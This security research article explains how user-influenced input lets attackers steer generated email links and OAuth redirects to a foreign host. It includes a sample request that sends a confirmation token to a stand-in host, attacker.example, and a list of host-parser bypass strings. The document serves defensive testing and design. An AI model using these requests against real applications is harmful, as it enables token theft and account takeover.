Research / Trust boundaries
The trust boundary hidden inside generated links
When your software builds a URL out of user-influenced input and then sends it under your own name, it has quietly moved a security boundary into a string.
A link your application generates carries your application's authority. It arrives in a first-party email, or points at your login page, or completes a sign-in. The recipient trusts it because it comes from you. That trust is the asset. And in a surprising number of systems, part of the link is built from input the attacker controls.
When that happens, the attacker borrows your authority. A confirmation email leaks its token to a host the victim was told to trust. A sign-in hands its credential to the wrong place. The vulnerability is not in any one component. It is in the seam where user input met URL construction and nobody was watching the boundary.
The system assumption
Applications build URLs constantly: password resets, email confirmations, opt-in and opt-out links, share links, OAuth redirects, "return to where you were" flows. The assumption underneath all of them is that the application controls the link. The domain is yours. The path is yours. The token embedded in it is meaningful only to you. On that assumption, it is safe to send the link under your own name and safe for the recipient to trust it.
The assumption quietly fails whenever any part of the URL, the host most of all, is derived from something the request supplied: a form field, a header, a redirect parameter, a stored value that originated with the user. The link still looks first-party. It is no longer fully yours.
Where the assumption breaks
Three shapes of this recur across our work.
1. Host injection into generated email links
A consent or contact flow accepts fields that specify part of the confirmation and unsubscribe paths, and the backend uses them to construct the links embedded in a genuine first-party email. Supply a foreign host in those fields and the email that lands in the victim's inbox is authentically from you, correctly signed, past the spam filters, and its confirmation link points at the attacker. When the victim clicks, the token meant to prove their consent is delivered off-domain. The system did everything right except decide whose host it was building a link to.
attacker submits the form
return_path = "//attacker.example/confirm"
|
v
backend builds the email link from that input
https://mail.example.test/c?next=//attacker.example/confirm&token=T
|
v
first-party email --> victim clicks a link that looks like yours
|
v
token T is delivered to attacker.example
2. OAuth tokens redirected to an attacker
OAuth exists to hand a credential to the right place after a user approves it. The "right place" is the redirect target, and if that target is chosen loosely (a permissive match, an unchecked fallback URL, an open redirect somewhere on the trusted domain that the flow bounces through), the credential can be steered to the attacker. The user approves a login they trust; the resulting token lands somewhere they did not intend. We have seen an account takeover built entirely on a fallback URL in an OAuth flow, no XSS and no server compromise required. The provider did its job. The relying application pointed the result at a host it should not have accepted.
3. Reflected payloads inside identity-provider links
A login or reset URL that reflects one of its own parameters back into the page becomes a delivery mechanism for a payload, and the delivery is doubly convincing because it points at the real sign-in page on the real domain. Combine it with a way to send the link under the organization's own name, and you have a phishing lure that survives the checks users are taught to apply: the domain is genuine, the sender is internal, the page is the real login. The link is hostile only in a parameter most people never read.
Reconstructing it
Here is the first shape in synthetic form. All hosts are reserved examples.
# The flow lets the caller influence the path used to build
# the confirmation link. The attacker points it at their host.
POST /api/subscribe HTTP/1.1
Host: app.example.test
Content-Type: application/json
{ "email": "victim@example.com",
"return_path": "https://attacker.example/steal" }
# The email the victim receives contains:
# https://app.example.test/confirm?to=https://attacker.example/steal&token=abc123
#
# Clicking it forwards ?token=abc123 to attacker.example.
No interpreter is tricked here. There is no injection into a database or a shell. The only thing that went wrong is that a value which should have been constrained to the application's own domain was allowed to name somewhere else, and the resulting link inherited the application's trust anyway.
Why the obvious defenses didn't solve it
HTTPS and a valid certificate. Transport security guarantees the link reaches the host in the URL untampered. It has no opinion on whether that host should have been in the URL. A link to the attacker over perfect TLS is still a link to the attacker.
Signing the token. Signing stops the token from being forged. It does not stop a genuine token from being delivered to the wrong party. In every case above the token was authentic; the failure was where it went, not whether it was valid.
Output encoding and input sanitization. Encoding defends the page that renders a value. It does not defend the meaning of a URL. A perfectly encoded link to a hostile host is a working attack. And "sanitizing" a URL by stripping a few characters tends to lose to the parser: URLs have many ways to express a host (leading slashes, userinfo with an @, backslashes, encoded characters) and a blocklist rarely covers them all.
Root cause
The root cause is a category error: user input was allowed to determine the host or destination of a link that then went out under the application's authority. The safe boundary is simple to state. The application decides the host of every link it generates. User input may fill in an opaque token or a known-safe relative path, and nothing else. The instant a request can influence which origin a generated link points at, a trust boundary has moved from your infrastructure into a string, where no firewall and no certificate can see it.
How to test for this class of failure
- Enumerate every place the application generates a link that leaves the system: confirmation and reset emails, opt-in and opt-out links, OAuth redirects, share links, "continue to" and "return to" parameters.
- For each, try to influence the host. Inject a foreign origin into path and redirect fields, and into the
HostandX-Forwarded-Hostheaders if the app builds absolute URLs from them. Then read the link that actually gets generated and sent. - Probe the parser, not a single payload. Try
//attacker.example,https:attacker.example,https://app.example.test@attacker.example, backslashes, and percent-encoded variants. If one form is blocked and another passes, the check is a blocklist and the blocklist loses. - For OAuth, test the redirect target directly: unregistered redirect values, loosened matches, and any open redirect on the trusted domain the flow can be chained through.
- Judge by destination, not by status code. A
200that produces a first-party link pointing off-domain is the finding.
How to design the control correctly
- Own the host. Generate absolute URLs from a server-side configured base, never from a request header or a caller-supplied field. The application, not the request, decides its own origin.
- Allowlist destinations. Where a redirect target must vary, compare it against an explicit allowlist of registered origins and reject anything else. For OAuth, require exact registered redirect URIs and drop loose matching.
- Keep user input opaque. Let requests supply a token or a validated relative path, and resolve everything else server-side. A relative path that is re-validated to stay on-origin cannot smuggle a host.
- Parse, do not filter. Decide with a real URL parser and an origin comparison, not string matching. If the resolved origin is not on the allowlist, it does not go in the link.
- Close open redirects. They are the pivot that turns a "harmless" redirect into token theft. Treat every redirect endpoint as security-relevant.
What we took away from it
Host injection, OAuth redirect theft, and reflected login links get filed as three different vulnerability types, remediated by three different people, on three different sprints. They are one idea. A generated link is a bearer of your authority, and the only question that matters is whether an attacker had a say in where it points. Answer that at construction time, on the server, with an allowlist, and the three separate bugs never get written.
The lesson generalizes past links. Any time a system produces something under its own name from parts the user supplied (a link, a signed redirect, a webhook target, a server-side request), the boundary to watch is the authority the result carries, not the characters of the input. Trust does not live in the payload. It lives in whose name the result goes out under.
References
- OWASP: Unvalidated Redirects and Forwards Cheat Sheet
- OWASP: Host Header Injection
- RFC 6749: The OAuth 2.0 Authorization Framework, §10.6 (redirect_uri)
- CWE-601: URL Redirection to Untrusted Site (Open Redirect)
- RFC 3986: Uniform Resource Identifier (URI): Generic Syntax
Internal evidence: Kahu Labs Research, anonymized authorized assessments (2023, 2025). Client, target and identifying details are withheld; see our research policy.